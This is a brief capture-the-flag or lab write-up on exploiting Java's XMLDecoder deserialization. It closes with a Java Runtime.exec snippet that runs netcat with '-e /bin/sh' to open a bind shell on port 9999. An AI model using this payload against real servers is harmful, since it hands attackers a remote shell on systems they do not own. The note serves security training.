XMLDecoder Lab from PentesterLab or NullCon 2016 CTF
XMLDecoder is a Java class that creates objects based on an XML message. If a malicious user can get an application to use arbitrary data in a call to the method readObject, they will instantly gain code execution on the server.
XMLDecoder creates the serializes and creates an object. readObject deserializes the object.
For the Bind Shell java script, we can create an XML that uses the Java Runtime.exec() method that reads the command in array form.
Runtime run =Runtime.getRuntime();String[] commands =newString[] {"/usr/bin/nc","-l","-p","9999","-e","/bin/sh"};run.exec(commands);